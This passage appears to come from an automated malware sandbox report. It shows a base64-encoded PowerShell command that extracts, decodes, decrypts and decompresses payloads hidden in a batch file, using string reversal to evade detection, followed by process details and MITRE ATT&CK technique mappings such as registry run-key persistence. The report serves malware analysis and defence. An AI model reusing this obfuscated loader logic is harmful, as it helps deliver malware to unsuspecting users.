QAxAF0AIAAtAGoAbwBpAG4AIAAnACcAKQAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AaQB0AGEAbAAuAGIAYQB0ACcAKQAuAFMAcABsAGkAdAAoAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE4AZQB3AEwAaQBuAGUAKQA7ACAACgAkAGoAbQBaAGoAWQAgAD0AIAAkAFIAbQBKAHAAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMwApADsAIAAKACQAcABhAHkAbABvAGEAZABzAF8AdgBhAHIAIAA9ACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGoAbQBaAGoAWQAuAFMAcABsAGkAdAAoACcAXAAnACkAOwAgAAoAJABwAGEAeQBsAG8AYQBkADEAXwB2AGEAcgAgAD0AIABkAGUAYwBvAG0AcAByAGUAcwBzAF8AZgB1AG4AYwB0AGkAbwBuACAAKABkAGUAYwByAHkAcAB0AF8AZgB1AG4AYwB0AGkAbwBuACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAKAAnAGcAbgBpAHIAdABTADQANgBlAHMAYQBCAG0AbwByAEYAJwBbAC0AMQAuAC4ALQAxADYAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJABwAGEAeQBsAG8AYQBkAHMAXwB2AGEAcgBbADAAXQApACkAKQA7ACAACgAkAHAAYQB5AGwAbwBhAGQAMgBfAHYAYQByACAAPQAgAGQAZQBjAG8AbQBwAHIAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAGQAZQBjAHIAeQBwAHQAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAkAHAAYQB5AGwAbwBhAGQAcwBfAHYAYQByAFsAMQBdACkAKQApADsAIAAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQAVQBEAFYAYQByAGkAYQBiAGwAZQBzACgAKQB7ACAAKABnAGUAdAAtAHYAYQByAGkAYQBiAGwAZQAgAHwAIAB3AGgAZQByAGUALQBvAGIAagBlAGMAdAAgAHsAKABAACgAIgBkAGUAYwBsAGEAcgBhAHQAaQBvAG4AcwAiACwAIgBHAGUAdABVAEQAVgBhAHIAaQBhAGIAbABlAHMAIgAsACIATwB0AGgAZQByACIALAAiAEYAbwByAG0AYQB0AEUAbgB1AG0AZQByAGEAdABpAG8AbgBMAGkAbQBpAHQAIgAsACIATQBhAHgAaQBtAHUAbQBBAGwAaQBhAHMAQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0ARAByAGkAdgBlAEMAbwB1AG4AdAAiACwAIgBNAGEAeABpAG0AdQBtAEUAcgByAG8AcgBDAG8AdQBuAHQAIgAsACIATQBhAHgAaQBtAHUAbQBGAHUAbgBjAHQAaQBvAG4AQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0AVgBhAHIAaQBhAGIAbABlAEMAbwB1AG4AdAAiACwAIgBQAEcASABvAG0AZQAiACwAIgBQAEcAUwBFACIALAAiAFAARwBVAEkAQwB1AGwAdAB1AHIAZQAiACwAIgBQAEcAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIgAsACIAUABSAE8ARgBJAEwARQAiACwAIgBQAFMAUwBlAHMAcwBpAG8AbgBPAHAAdABpAG8AbgAiACkAIAAtAG4AbwB0AGMAbwBuAHQAYQBpAG4AcwAgACQAXwAuAG4AYQBtAGUAKQAgAC0AYQBuAGQAKAAoAFsAcABzAG8AYgBqAGUAYwB0AF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUwBwAGUAYwBpAGEAbABWAGEAcgBpAGEAYgBsAGUAcwAnACkALgBHAGUAdABGAGkAZQBsAGQAcwAoACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIABGAGkAZQBsAGQAVAB5AHAAZQAgAC0AZQBxACAAKABbAHMAdAByAGkAbgBnAF0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIABHAGUAdABWAGEAbAB1AGUAIAAkAG4AdQBsAGwAKQApACAALQBuAG8AdABjAG8AbgB0AGEAaQBuAHMAIAAkAF8ALgBuAGEAbQBlAH0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIATgBhAG0AZQA6ACAAIgAgACAACQAkAF8ALgBOAGEAbQBlACAACQAiAC0ALQAtAC0ALQAtAC0AIgAgACAAIAAgACAAIgBWAGEAbAB1AGUAOgAgACIAIAAJACQAXwAuAFYAYQBsAHUAZQAgACAAIAAgACAAIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAiACAAIAAgAH0AIAB9AAoAKABHAGUAdABVAEQAdgBhAHIAaQBhAGIAbABlAHMAKQB8AE8AdQB0AC0ARgBpAGwAZQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAJwBEAGUAYwBsAGEAcgBlAGQAVgBhAHIAaQBhAGIAbABlAHMALgB0AHgAdAAnACkA
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6356

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\New folder (2)\PowerDecode_report_FDC9B96F75FA215CDFDDC0362374719CA2E6A0138C5FF01C64CEC4C49F7E981E.txt
1⤵
PID:3112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery